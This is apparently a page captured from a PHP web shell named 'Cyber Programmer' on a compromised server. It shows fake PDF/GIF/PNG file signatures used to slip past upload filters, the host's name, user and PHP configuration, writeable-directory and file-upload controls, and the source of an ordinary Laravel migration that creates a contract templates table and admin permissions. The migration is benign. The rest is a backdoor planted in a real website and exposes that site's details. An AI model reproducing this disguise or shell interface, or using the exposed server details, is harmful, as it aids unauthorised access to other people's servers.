%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/database/migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/database/migrations/2022_07_14_063826_contract_templates.php
<?php
namespace App;

use App\Models\Contract;
use App\Models\Company;
use App\Models\Permission;
use App\Models\PermissionType;
use App\Models\RoleUser;
use App\Models\UserPermission;
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

return new class extends Migration {

    /**
     * Run the migrations.
     *
     * @return void
     */

    public function up()
    {
        Company::renameOrganisationTableToCompanyTable();

        Schema::create('contract_templates', function (Blueprint $table) {
            $table->id();
            $table->integer('company_id')->unsigned()->nullable();
            $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade');
            $table->string('subject');
            $table->longText('description')->nullable();
            $table->string('amount');
            $table->unsignedBigInteger('contract_type_id');
            $table->foreign('contract_type_id')->references('id')->on('contract_types')->onDelete('cascade')->onUpdate('cascade');
            $table->integer('currency_id')->unsigned()->nullable();
            $table->longText('contract_detail')->nullable();
            $table->foreign('currency_id')->references('id')
                ->on('currencies')
                ->onDelete('cascade')
                ->onUpdate('cascade');
            $table->integer('added_by')->default(1);
            $table->timestamps();
        });


        if(Company::first()) {
            /** @phpstan-ignore-next-line */
            Contract::query()->update(['currency_id' => Company::first()->currency_id]);


            $contractModule = \App\Models\Module::firstOrCreate(['module_name' => 'contracts']);

            $admins = RoleUser::join('roles', 'roles.id', '=', 'role_user.role_id')
                ->where('name', 'admin')
                ->get();

            $allTypePermission = PermissionType::ofType('all')->first();

            $perm = Permission::firstOrCreate([
                'name' => 'manage_contract_template',
                'display_name' => ucwords(str_replace('_', ' ', 'manage_contract_template')),
                'is_custom' => 1,
                'module_id' => $contractModule->id,
                'allowed_permissions' => Permission::ALL_ADDED_NONE
            ]);

            foreach ($admins as $item) {
                UserPermission::firstOrCreate(
                    [
                        'user_id' => $item->user_id,
                        'permission_id' => $perm->id,
                        'permission_type_id' => $allTypePermission->id ?? PermissionType::ALL
                    ]
                );
            }

            $proposalModule = \App\Models\Module::firstOrCreate(['module_name' => 'leads']);

            $perm = Permission::firstOrCreate([
                'name' => 'manage_proposal_template',
                'display_name' => ucwords(str_replace('_', ' ', 'manage_proposal_template')),
                'is_custom' => 1,
                'module_id' => $proposalModule->id,
                'allowed_permissions' => Permission::ALL_ADDED_NONE
            ]);

            foreach ($admins as $item) {
                UserPermission::firstOrCreate(
                    [
                        'user_id' => $item->user_id,
                        'permission_id' => $perm->id,
                        'permission_type_id' => $allTypePermission->id ?? PermissionType::ALL
                    ]
                );
            }
        }
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {

    }

};

VaKeR 2022